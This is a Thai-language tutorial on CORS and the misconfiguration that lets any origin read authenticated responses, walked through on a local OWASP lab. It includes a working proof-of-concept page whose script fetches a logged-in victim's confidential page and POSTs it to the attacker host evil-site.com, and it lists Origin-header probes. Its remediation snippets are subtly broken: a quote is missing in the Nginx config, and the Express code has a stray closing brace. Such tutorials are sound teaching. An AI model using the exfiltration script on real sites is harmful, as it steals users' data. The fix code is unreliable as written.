ช่องโหว่ CORS คืออะไร ถ้าโจมตีสำเร็จแล้วจะได้อะไร?

บทความนี้ไม่ได้มีจุดประสงค์เพื่อชี้นำให้บุคคลใดก็ตามนำความรู้ไปใช้ในทางที่ผิดกฏหมาย แต่บทความนี้ถูกเขียนขึ้นเพื่อพาทุกท่านไปรู้จักในโลกของ Cross-Origin Resource Sharing (CORS) และช่องโหว่ที่เกิดขึ้นเมื่อมีการ implement ที่ไม่ปลอดภัย

บทความโดย
jsontwenty4
Cyber Security Researcher


Origin ประกอบไปด้วยโครงสร้างหลัก 3 ส่วนคือ scheme, host และ port

จากรูปด้านบนนิยามคำว่า origin ประกอบไปด้วยส่วนประกอบที่สำคัญ 3 ส่วนหลักๆ คือ scheme, host และ port โดยไม่นับรวม path ด้านหลัง ซึ่งถ้าส่วนประกอบหลักทั้ง 3 เหมือนกันนับได้ว่าเป็น same origin.

ส่วนคำว่า cross-origin คือ หากมีโครงสร้างอันใดอันนึงแตกต่างไป นับได้ว่าเป็นต่าง origin กัน เช่น ใช้ port ที่แตกต่างกัน, ชื่อ host ที่แตกต่างกัน, ใช้ protocol ที่แตกต่างกัน.

Original

http://example.com

Same-origin

 http://example.com:80
 // พอร์ตที่ใช้คือ http port 80 เป็นพอร์ตเดียวกับโปรโตคอลที่ใช้งาน
 http://example.com/path/file
 // path ด้านหลังแตกต่างกันแต่ถือว่าเป็น origin เดียวกัน

Cross-origin

http://example.com:8080
// พอร์ตที่ใช้แตกต่างกัน
http://www.example.com
http://example.org
http://randomexample.com
// ชื่อ host ที่แตกต่างกัน
https://example.com
// โปรโตคอลที่ใช้แตกต่างกัน
https://example.com:80
// โปรโตคอลและพอร์ตที่ใช้ที่แตกต่างกัน

จากตัวอย่างด้านบนจะเห็นได้ว่าหากใช้ protocol เดียวกัน, พอร์ตเดียวกัน, ชื่อ host เดียวกันจะจัดว่าเป็น same-origin ส่วน highlight ตัวหนาคือสิ่งที่ทำให้ origin ต่างไปจาก original เลยจัดเป็น cross-origin

ในปัจจุบัน Modern browser มีสิ่งที่เรียกว่า Same-origin policy (SOP) ซึ่งเป็นกลไกด้าน security แบบ built-in ที่จะช่วยป้องกันไม่ให้ script สามารถอ่าน response ของ request ได้หากเรียกมาจาก origin ที่แตกต่างกัน สิ่งนี้จะช่วยป้องกันไม่ให้สามารถ load script ข้าม origin กันได้

ภาพประกอบเพื่ออธิบายความแตกต่างระหว่าง same-origin กับ cross-origin

สิ่งที่ Cross-Origin Resource Sharing (CORS) จะเข้ามาช่วย bypass SOP restriction ก็คือหาก developer มีความจำเป็นที่จะ share resource ข้าม origin กัน ฝั่ง server-side จำเป็นจะต้องส่ง CORS header เพื่อบอกกับ browser ว่า origin ไหนที่รับอนุญาติให้ share resource ด้วย

หลักการทำงานของ CORS

Client-side

ในการ request เพื่อขอ allow cross-origin resource access ฝั่ง browser จะทำการแปะสิ่งที่เรียกว่า Origin header ไปใน client request ด้วย เช่น “Origin: http://example.com”

Server-side

เมื่อฝั่ง server-side รับ client request มาแล้ว หากทำการ validate ว่า client origin header ที่แปะมาได้รับอนุญาติให้ access resource ฝั่ง server ก็จะทำการ set response header ตัวนึงที่มีชื่อว่า “Access-Control-Allow-Origin” ตามด้วย site ที่จะ allow เพื่อส่งกลับไปบอก client browser ว่า site นั้นๆ มีสิทธิ์ที่จะ share resource ด้วย

CORS configuration at server side

response.setHeader(
“Access-Control-Allow-Origin”, “http://example.com”
);

หากอธิบายให้เห็นภาพชัดเจนมากขึ้น

ภาพอธิบายการทำงานของ origin header ทั้งฝั่ง client และ server

หากดูจากภาพด้านบนจะเห็นว่า client แปะ header “Origin: http://example.com” ไปใน request และส่งไปหา server. ในฝั่ง server-side ได้ทำการ validate และแปะ response header “Access-Control-Allow-Origin: http://example.com” ส่งไปหา client browser

ในกรณีที่ Origin header ที่ฝั่ง client แปะมาไม่ได้รับอนุญาติให้แชร์ resource

ภาพอธิบายในกรณีที่ origin header ที่ฝั่ง client แปะมาไม่ได้รับอนุญาติให้แชร์ resource

เราจะเห็นว่าจากภาพด้านบนฝั่ง client browser ได้ทำการแปะ “Origin: http://randomexample.com” เพื่อส่งไปขอแชร์ resource กับฝั่ง server-side ซึ่งใน case นี้ฝั่ง server ได้ทำการ validate origin แล้วพบว่าผิดไปจาก CORS policy ซึ่ง server จะไม่อนุญาติให้ share resource ด้วยโดยสิ่งที่ server สามารถทำได้ก็คือ

  1. ไม่ response header ที่ชื่อ “Access-Control-Allow-Origin” เลย ซึ่งฝั่ง client browser ก็จะไม่อนุญาติให้ share resource ด้วยเนื่องจากไม่พบ header นี้จากฝั่ง server-side ที่ response กลับมา
  2. ฝั่ง server สามารถ response site ที่อนุญาติให้แชร์ resource เช่น “Access-Control-Allow-Origin: http://example.com” ส่งไปยัง client browser. ซึ่งในจังหวะนี้ฝั่ง client browser จะเกิด error ขึ้นเนื่องจาก value ของ site ที่อยู่ใน header ที่ชื่อ “Access-Control-Allow-Origin header” ที่ server ส่งมามันไม่ตรงกันกับใน client origin request ที่ขอไป ซึ่งทำให้ไม่สามารถ share resource กับฝั่ง server ได้

นอกจาก header ที่ชื่อ “Access-Control-Allow-Origin” แล้วก็ยังมี CORS header อื่นๆ ที่น่าสนใจอีก คือ “Access-Control-Allow-Methods” กับ “Access-Control-Allow-Credentials”

CORS header ที่ชื่อ “Access-Control-Allow-Methods”

Header นี้ฝั่ง server-side จะเป็นคนแปะเพื่อบอกกับ client browser ว่า HTTP method ใดบ้างที่ client จะสามารถ make request มาเพื่อทำ cross-origin request ได้ ซึ่งในส่วนนี้ฝั่ง server จะต้อง configure เอาไว้เป็น allowed list method ว่าจะอนุญาติ HTTP method อะไรให้กับ client บ้างตามความเหมาะสม

Example

response.setHeader(
“Access-Control-Allow-Methods”,[“POST”, “GET”, “PUT”]
);

CORS header ที่ชื่อ “Access-Control-Allow-Credentials”

โดยปกติแล้ว cookie จะถูกแปะอัตโนมัติโดย browser เฉพาะกับ site ที่เป็น same-origin เท่านั้น ซึ่งในการทำ cross-origin request นั้นจะไม่ include cookie ไปด้วย แต่อย่างไรก็ตามฝั่ง server สามารถสั่งให้ include cookie ได้โดยการแปะ response header ตัวนึงที่มีชื่อว่า “Access-Control-Allow-Credentials” และ set value to “True” เมื่อฝั่ง client browser เห็น header นี้ browser ก็จะยอมให้ include cookie ไปใน cross-origin request

Example

response.setHeader(
“Access-Control-Allow-Credentials”, true
);

ช่องโหว่ Cross-origin resource sharing (CORS) มันคืออะไร

อ้างอิงจาก OWASP top 10 web application ปี 2017 ช่องโหว่ CORS ถูกจัดอยู่ในหมวด A6: Security Misconfiguration. เพื่อแก้ไขปัญหาการร้องขอเพื่อ access resource ข้าม origin นั้น CORS จึงเป็นกลไกที่ถูก implement ที่ฝั่ง server เพื่อที่จะบอก browser ว่า domain ไหนบ้างที่ได้รับอนุญาติให้เข้าถึง share resource. ซึ่งหากฝั่ง server ไม่ได้ทำการ whitelist domain ที่จะอนุญาติเอาไว้ หรือ allow all domains ด้วย wildcard “Access-Control-Allow-Origin: *” แบบนี้จะไม่ปลอดภัยและเป็น security risk เพราะว่าการ configure นี้จะสามารถอนุญาติให้ทุก domain สามารถส่งคำร้องขอมาที่ server เพื่อขอ share resource ของ domain นั้นๆที่ client browser ได้

ในมุมความเสี่ยงและผลกระทบของช่องโหว่ CORS

หากฝั่ง server มีการ configure ให้ทุกๆ domain สามารถขอแชร์ resource ของ domain นั้นๆที่ client browser ได้ ในมุมมองของผู้ไม่หวังดีก็สามารถที่จะเปิด web server ขึ้นมาและสร้าง fake website ยกตัวอย่างเช่นชื่อ “evil.com” โดยเว็บไซต์ที่ผู้ไม่หวังดีสร้างขึ้นนั้นแอบแฝงไปด้วยโค้ต อันตรายที่ฝังอยู่ใน source code ซึ่งจะมองไม่เห็นโดยผู้ใช้งานทั่วไป หากผู้ใช้งานทั่วไปเผลอบังเอิญกดเข้าไปที่ “evil.com” ซึ่งเป็น website ที่ถูก control โดยผู้ไม่หวังดี โดยผู้ใช้อาจจะไม่ได้ตั้งใจที่จะกดเข้าไปก็ตาม ความเสี่ยงคือผู้ใช้งานอาจจะถูกโจมตีโดยไม่รู้ตัว หากโจมตีสำเร็จผู้ไม่หวังดีจะสามารถเข้าถึง response message ของผู้ใช้งานได้ ซึ่งในนั้นอาจจะมีข้อมูลสำคัญของผู้ใช้งานที่เป็นความลับและไม่ต้องการเปิดเผยสู่สาธารณะ

เพื่อการอธิบายให้เข้าใจและเห็นภาพ

ทุกท่านสามารถ pull Labs โปรเจค OWASP — security knowledge framework เพื่อเอาไปลองเล่นกันได้และหากท่านใดใช้งาน docker อยู่แล้วสามารถ พิมพ์ command ด้านล่างเพื่อ download ได้เลย สามารถดู reference source เพิ่มเติมได้ที่ท้ายบทความ

$ sudo docker pull blabla1337/owasp-skf-lab:cors
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cors

Demo case

ใน case นี้ผู้ใชงานจะต้องทำการ authentication เพื่อยืนยันตัวตนด้วย username, password ก่อนเข้าสู่ระบบ ซึ่งทาง Lab ได้ set เป็น default admin: admin เอาไว้

OWASP S.K.F CORS demo — authentication process

เมื่อทำการ authentication success เราจะพบว่ามีตารางข้อมูลชุดนึงที่ประกอบไปด้วย 3 rows, 3 columns ซึ่งสามารถเดาคร่าวๆ ได้ว่าข้อมูลชุดนี้เป็น confidential data เพราะมี column “Salary” ที่เป็นเงินเดือนของ CEO, CIO และ Stockholder อยู่

OWASP S.K.F CORS demo — confidential page after authentication success

ใน step นี้เรารู้อยู่แล้วว่า server-side มีช่องโหว่ CORS แต่เราจะเช็คยังไงว่ามันเป็นจริงตามที่ Lab บอกมาจริงๆ ทางเดียวที่เราจะทดสอบได้คือเราต้องเห็นหน้าตาของ request ของฝั่ง client และ response ของ server ก่อน

วิธีการที่ง่ายที่สุดคือใช้ transparent proxy หรือภาษาที่คุ้นเคยและเข้าใจง่ายคือ intercepting proxy tool มาดัก traffic โดยหลักการคือระหว่างที่ browser รับส่งข้อมูลไปยัง server, intercepting proxy tool จะทำตัวเองอยู่ตรงกลาง ซึ่งเมื่อ browser request เพื่อร้องขอข้อมูลอะไรไปยัง server, traffic จะวิ่งมาหา proxy ตรงกลางก่อน ทำให้คนตรงกลางสามารถที่จะ view หรือ modify ค่า request parameter, custom request header ต่างๆ ก่อนจะถูกส่งไปหา server ได้ ในทางกลับกันเมื่อฝั่ง server ส่งข้อมูลกลับมาก็จะมาติดที่ proxy ก่อนทำให้ตัว proxy เห็นสิ่งที่ server ส่งมาในรูปแบบของ response message ก่อนที่จะถูกส่งไปที่ client browser จริงๆ

ซึ่งขั้นตอนการ set up intercepting proxy tool จะยังไม่ขออธิบายในบทความนี้นะครับ

เมื่อทำการ set up intercepting proxy เสร็จแล้ว หน้าเว็บที่เราเห็นเงินเดือนของ CEO, CIO และ Stockholder ถูกเรียกไปที่ “127.0.0.1:5000/confidential”. เมื่อเราลองมองที่ response message จะเห็นว่ามี 2 headers ที่น่าสนใจ ซึ่งเรารู้อยู่แล้วว่าการ allow origin แบบ wildcard มีความเสี่ยง “Access-Control-Allow-Origin: *” และอีก header นึงที่ชื่อว่า “Access-Control-Allow-Credentials: true” ซึ่งเป็นตัวบอกว่าให้ browser include cookie ไปด้วยเมื่อมีการทำ cross-origin request. ซึ่ง cookie ที่ว่านั้นคือ session ที่เราได้รับหลังจากการทำ authentication success ใน step แรก

Request

GET /confidential HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5000/
Connection: close
Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.X6Lbyw.OCYjlX0tP34ypUSbZ5xuQonQ-U0
Upgrade-Insecure-Requests: 1

Response

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 3928
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Vary: Cookie
Server: Werkzeug/0.14.1 Python/3.6.9
Date: Wed, 04 Nov 2020 16:50:19 GMT

มาถึงจุดนี้ก็ยังไม่สามารถฟันธงได้ 100 เปอร์เซ็นต์ว่ามีช่องโหว่ CORS เพราะเนื่องจากใน request ไม่ได้มีการส่ง Origin header ไปด้วยทำให้เราต้อง identify เพิ่มเติมเพื่อการันตีว่ามีช่องโหว่จริง

Test case for checking CORS policy configuration

หากไม่มีการแปะ origin header โดย browser เราสามารถที่จะแปะเองเพื่อ test ว่าฝั่ง server มีการตอบสนองต่อ request ยังไงบ้าง

  1. Origin header: http://{ip_address} ลองแปะเป็น IP address http://1.2.3.4, ถ้าฝั่ง server-side ส่ง response header มาว่า allow origin http://1.2.3.4 แปลว่ามีช่องโหว่ CORS Origin: http://1.2.3.4
  2. Origin header: http://{domain_name} ลองแปะเป็น domain http://example.com, ถ้าฝั่ง server-side ส่ง response header มาว่า allows origin http://example.com แปลว่ามีช่องโหว่ CORS. Origin: http://example.com
  3. Origin header: http://{something}domain.com ลองแปะ Pre-domain ดูว่าหาก server ยัง reflect origin value ที่ใส่ไปใน request กลับมาใน response header แปลว่ามีช่องโหว่ CORS Origin: http://exampledomain.com
  4. Origin header: http://domain.com{something} ลองแปะ Post-domain ดูว่าหาก server ยัง reflect origin value ที่ใส่ไปใน request กลับมาใน response header แปลว่ามีช่องโหว่ CORS Origin: http://domain.com.evil.com
  5. Origin header: null ลองแปะ value เท่ากับ null ไปเพื่อเช็คว่า server มีการ validate origin request จาก client ไหม ซึ่งในความเป็นจริงแทบเป็นไปไม่ได้ที่จะจด domain เป็นชื่อ null ถ้าหาก server ยัง reflect ค่า null กลับคืนมาใน response header แปลว่า server ไม่ได้เช็ค CORS Origin: null

หลังจากที่ identify ได้แล้วว่า server มีช่องโหว่ CORS คราวนี้มาลองดูว่าจะทำอะไรกับมันได้บ้างในมุมมองของผู้ไม่หวังดี จากที่กล่าวไปใน Risk และ Impact ข้างต้น ผู้ไม่หวังดีสามารถเปิด server และสร้าง fake site ใหม่ขึ้นเพื่อขอ allow sharing resource ได้ ใน case นี้เราได้ทำการเปิด webserver ใหม่ขึ้นมามี domain ชื่อว่า “http://evil-site.com” วิธีการคือเราจะลองดูว่าถ้าแปะ origin header ตามด้วย domain ของผู้ไม่หวังดีส่งไปขอ allow access เพื่อขอ share resource กับฝั่ง server ดูว่าจะได้ไหม

จาก Original request ที่ไม่มีการแปะ origin header ลงไป เราทำการแปะเข้าไปเองโดยใส่ “Origin: http://evil-site.com” ผลลัพธ์คือ server ทำการตอบ response header “Access-Control-Allow-Credentials: true” และ “Access-Control-Allow-Origin: http://evil-site.com” กลับมา นั่นหมายความว่า server ยอมรับและอนุญาติ domain ของผู้ไม่หวังดีในการเข้าถึง resource ได้

Original request

GET /confidential HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5000/
Connection: close
Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.X6Lbyw.OCYjlX0tP34ypUSbZ5xuQonQ-U0
Upgrade-Insecure-Requests: 1

Modified request

GET /confidential HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://evil-site.com
Referer: http://127.0.0.1:5000/
Connection: close
Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.X6Lbyw.OCYjlX0tP34ypUSbZ5xuQonQ-U0
Upgrade-Insecure-Requests: 1

Response

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 3928
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://evil-site.com
Vary: Origin, Cookie
Server: Werkzeug/0.14.1 Python/3.6.9
Date: Wed, 04 Nov 2020 19:11:23 GMT

ต่อมาลองสร้าง webpage ขึ้นมาสักอันโดยมีชื่อว่า “demo-evil.html”

โดยเอาไปวางไว้ที่ web directory ซึ่งจะเรียกไปที่ http://evil-site.com/demo-evil.html

โค้ตด้านล่างคือโค้ตของไฟล์ที่ชื่อ “demo-evil.html” ซึ่งจะเห็นว่า HTML content ที่โชว์บน webpage จะมีแค่บรรทัดที่ highlight สีน้ำเงินไว้ ส่วนโค้ตอันตรายจะอยู่ในส่วนของ tag script สีแดงลงมาซึ่งจะมองไม่เห็นโดยผู้ใช้งานบน browser

ตัวอย่าง Script อันตรายที่ถูกเขียนขึ้นเพื่อ demo เท่านั้น

จาก Impact ที่กล่าวไปข้างต้นว่า “หากผู้ใช้งานทั่วไปเผลอบังเอิญกดเข้าไปที่ “http://evil-site.com/demo-evil.html” ซึ่งเป็น website ที่ถูก control โดยผู้ไม่หวังดี โดยผู้ใช้อาจจะไม่ได้ตั้งใจที่จะกดเข้าไปก็ตาม ความเสี่ยงคือผู้ใช้งานอาจจะถูกโจมตีโดยไม่รู้ตัว หากโจมตีสำเร็จผู้ไม่หวังดีจะสามารถเข้าถึง response message ของผู้ใช้งานได้ ซึ่งในนั้นอาจจะมีข้อมูลสำคัญของผู้ใช้งานเป็นความลับและไม่ต้องการเปิดเผยสู่สาธารณะ” จากข้อความนี้ความหมายของคำว่าไม่รู้ตัวก็คือเมื่อผู้ใช้งานเข้าเว็บไซต์ผู้ไม่หวังดี บน web browser มันโชว์แค่ Text ที่ถูกเขียนขึ้นซึ่งเป็นข้อความธรรมดาแค่นั้น ซึ่งผู้ใช้ก็คงคิดว่าคงไม่มีอะไร แต่ที่จริงแล้วโค้ตอันตรายได้ถูก execute โดย browser ของผู้ใช้งานแล้ว โดยมันจะทำตามคำสั่งที่อยู่ใน tag script ที่อธิบายไปข้างต้น

หน้าตาของ web page ที่ผู้ใช้งานทั่วไปเห็นบน web browser

CORS Exploit POC — เพื่อทำการเข้าถึง target response message เมื่อผู้ใช้งาน access เข้ามายัง evil-site.com

มาดูกันว่าเกิดอะไรขึ้นบ้างหลังจากคลิ๊กเข้า webpage ผู้ไม่หวังดี

Request แรกคือเมื่อผู้ใช้ส่งคำร้องขอไปยัง webpage ผู้ไม่หวังดีในที่นี้คือ “evil-site.com/demo-evil.html”. ฝั่ง server ผู้ไม่หวังดีก็จะทำการ response content ในรูปแบบของ HTML format ไปหา browser ของ client ซึ่งจะมี script อันตรายติดพ่วงมาด้วย เนื่องจาก HTML สามารถทำงานร่วมกับ tag javascript ที่บรรจุ object XMLHttpRequest ได้

Request #1

GET /demo-evil.html HTTP/1.1
Host: evil-site.com
...

Response #1

HTTP/1.1 200 OK
...
<html>
<head>
</head>
<body>
<h1>CORS Exploit POC</h1>
<h2>Retrieve the target response message >> SUCCESS</h2>
<h3>****** For educational purpose only ******</h3>
<script>
var cors = new XMLHttpRequest();
var Victim_url = 'http://127.0.0.1:5000/confidential';
cors.open('GET', Victim_url, true);
cors.withCredentials = true;
cors.onload = reqListener;
cors.send();
console.log(this.responseText)
function reqListener() {
var data = new XMLHttpRequest();
var attacker_url = 'http://evil-site.com/evil-demo.html';
data.open('POST', attacker_url);
data.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
data.send('responsehtml=' + encodeURIComponent(String(this.responseText)));
};
</script>
</body>
</html>

Request ที่สอง Browser ของผู้ใช้ execute script ที่ได้จาก response #1 โดยถูกสั่งให้ส่งคำร้องขอไปยัง “127.0.0.1:5000/confidential” พร้อมด้วย valid cookie ของผู้ใช้งานที่ถูกแปะไปด้วย ซึ่งถ้าเรามองที่ Request #2 จะเห็นว่า value ของ origin header ถูก set เป็น URL ของ ผู้ไม่หวังดี “http://evil-site.com” เนื่องจาก origin header มันเป็นตัวบอกว่าถูกเรียกมาจากที่ใดและถ้ามองที่ฝั่ง Response #2 จะพบว่าฝั่ง server ที่มีช่องโหว่ CORS มีการ allow origin ที่เป็น site URL ของผู้ไม่หวังดีด้วย ผลลัพธ์ก็คือ script ของผู้ไม่หวังดีสามารถที่จะเข้าถึง response message ของผู้ใช้งานได้ คำสั่งต่อไปก็คือให้เอา response message ที่ได้นั้นส่งไปหา server ของผู้ไม่หวังดี.

Request #2

GET /confidential HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://evil-site.com/demo-evil.html
Origin: http://evil-site.com
Connection: close
Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.X6MquQ.ze2-M0L0ymL8K1wIq1j3SD1FKLI
Cache-Control: max-age=0

Response #2

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 3928
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://evil-site.com
Vary: Origin, Cookie
Server: Werkzeug/0.14.1 Python/3.6.9
Date: Wed, 04 Nov 2020 22:46:33 GMT

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Live demonstrations</title>
...
...
...

Request สุดท้าย คือ การส่งค่า response message ที่ได้จาก response #2 ส่งไปยัง “evil-site.com/evil-demo.html” ในรูปแบบของ HTTP POST request โดยแนบไปกับ parameter ที่ชื่อว่า “responsehtml” เราจะเห็นได้ว่า script ของผู้ไม่หวังดีสามารถได้ถึง response message ของผู้ใช้งานได้ทั้งหมด โดยข้างในก็จะมีเงินเดือนของ CEO, CIO และ Stockholder ซึ่งเป็น confidential data อยู่

Request #3

POST /evil-demo.html HTTP/1.1
Host: evil-site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://evil-site.com/demo-evil.html
Content-type: application/x-www-form-urlencoded
Content-Length: 6931
Connection: close

responsehtml=%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%0A%3Chead%3E%0A%0A%09%3Cmeta%20charset%3D%22utf-8%22%3E%0A%09%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%09%3Ctitle%3ELive%20demonstrations%3C%2Ftitle%3E%0A%0A%09%3Clink%20href%3D%22%2Fstatic%2Fcss%2Fbootstrap.min.css%22%20rel%3D%22stylesheet%22%3E%0A%09%3Clink%20href%3D%22%2Fstatic%2Fcss%2Fdatepicker3.css%22%20rel%3D%22stylesheet%22%3E%0A%09%3Clink%20href%3D%22%2Fstatic%2Fcss%2Fstyles.css%22%20rel%3D%22style...
...
...

Response #3

HTTP/1.1 200 OK
Date: Wed, 04 Nov 2020 22:48:51 GMT
Server: Apache/2.4.41 (Debian)

นี่คือ Impact ของช่องโหว่ CORS หากฝั่ง server-side ไม่ได้ทำการ validate origin header ที่ client ส่งมาเลย ทำให้ทุกๆ site สามารถที่จะส่ง request เพื่อมาขอ allow access และขอ share resource ร่วมได้ ซึ่งถ้าหาก application ซึ่ง require ผู้ใช้งานให้ต้องผ่านการทำ authentication success ก่อนถึงจะเข้าถึงข้อมูลของ server ได้ การถูกโจมตีจากผู้ไม่หวังดีทำให้เขาสามารถที่จะขโมย sensitive data ของผู้ใช้งานได้โดยที่ผู้ใช้งานไม่รู้ตัวและยังมี case อื่นๆที่น่าสนใจอีกเช่น หากผู้ใช้งานต้องใช้ VPN เพื่อเข้าถึงข้อมูลจาก private server ของบริษัท ซึ่งโดยทั่วไปผู้ไม่หวังดีจะไม่สามรถเข้าถึง private server ได้ถ้าไม่ได้เชื่อมต่อ VPN ก่อน แต่หากฝั่ง private server นั่นมีช่องโหว่ CORS ที่ทำให้สามารถขโมย response message ของผู้ใช้ได้ ผู้ไม่หวังดีก็อาจจะสามารถ craft malicious script ไว้รอล่วงหน้าและอาจต้องใช้เทคนิคอื่นๆเข้าช่วยเพิ่มเติม เช่น social engineering เพื่อหลอกล่อให้ผู้ใช้เข้าไปยัง server ของผู้ไม่หวังดี เพื่อบังคับให้ browser ของผู้ใช้งาน infect malicious script ก่อนแล้วถึงจะทำตามคำสั่ง โดยส่งคำร้องไปยัง private server ด้วย VPN session ของผู้ใช้งานเอง ทำให้ผู้ไม่หวังดีขโมย data จากผู้ใช้ได้เช่นเดียวกันโดยไม่ต้องต่อ VPN

สามารถดูวีดีโอ Demo ได้จากคลิปด้านล่างครับ

Recommendation

วิธีแก้ไขขอแบ่งออกเป็น 2 levels คือ application-level กับ web server level

วิธีแก้ไขสำหรับระดับ application level

การเขียน code เพื่อ validate ก็จะขึ้นอยู่กับภาษาที่ฝั่ง server ใช้งานจริง ซึ่ง concept ไม่แตกต่างกันจะต่างกันแค่ syntax ที่ใช้งาน การเขียนเพื่อ allow whitelist ซึ่งจริงๆสามารถทำได้เหมือนกัน ซึ่งสำหรับตัวอย่างที่ยกมาจะเป็น ExpressJS app บน nodejs

Example 1: Set CORS Origin of Nodejs — Allow single domain Access-Control-Allow-Origin: ‘domain-a.com’

const express = require("express")
const app = express()
const PORT = process.env.PORT || 8445
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', 'domain-a.com')
// บรรทัดนี้คือกำหนดให้อนุญาติให้เฉพาะ ‘domain-a.com’ เข้าถึงข้อมูลได้
res.header('Access-Control-Allow-Methods','POST, GET, PUT, PATCH, DELETE, OPTIONS')
// บรรทัดนี้คือกำหนดให้ HTTP method ที่สามารถยิงเข้ามาได้
res.header('Access-Control-Allow-Headers','Content-Type, Option, Authorization')
return next()
})
}
app.use('/', (req,res) => res.send("test"))
app.listen(PORT, () => { console.info(`server started on port ${PORT}`)})

Example 2: Set CORS Multi Origin of Nodejs — Allow multiple domain Access-Control-Allow-Origin: ‘domain-a.com’, ‘domain-b.com’, ‘domain-c.com’

const express = require("express")
const app = express()
const PORT = process.env.PORT || 8445
app.use((req, res, next) => {
let ALLOW_ORIGIN = ['domain-a.com', 'domain-b.com', 'domain-c.com']
// บรรทัดนี้คือกำหนดให้อนุญาติให้เฉพาะ 'domain-a.com', 'domain-b.com' และ 'domain-c.com' เข้าถึงข้อมูลได้
let ORIGIN = req.headers.origin
if (ALLOW_ORIGIN.includes(ORIGIN)) {
// โดยการ allow จะอยู่ภายใต้เงื่อนไข if condition เฉพาะ list ใน ALLOW_ORIGIN เท่านั้น
res.header('Access-Control-Allow-Origin', ORIGIN)
}
res.header('Access-Control-Allow-Methods','POST, GET, PUT, PATCH, DELETE, OPTIONS')
res.header('Access-Control-Allow-Headers','Content-Type, Option, Authorization')
return next()
})
}
app.use('/', (req,res) => res.send("test"))
app.listen(PORT, () => { console.info(`server started on port ${PORT}`)})

วิธีแก้ไขสำหรับระดับ web server level

สำหรับ HTTP server การ config ก็จะแตกต่างออกไปตาม product ที่ web server เลือกใช้บริการ เช่น Apache, Nginx, IIS, jetty เป็นต้น สำหรับตัวอย่างด้านล่างเป็น web config ของ product Nginx — ที่ไฟล์ Nginx.conf โดย default จะเป็น allow แบบ wildcard “add_header Access-Control-Allow-Origin *;”

Example

location \ {
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' 'domain-a.com;
add_header 'Access-Control-Allow-Methods' 'POST, OPTIONS';
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain; charset=utf-8';
return 204;
}
if ($request_method = 'POST') {
add_header 'Access-Control-Allow-Origin' 'domain-a.com;
add_header 'Access-Control-Allow-Methods' 'POST';
}}

Reference sources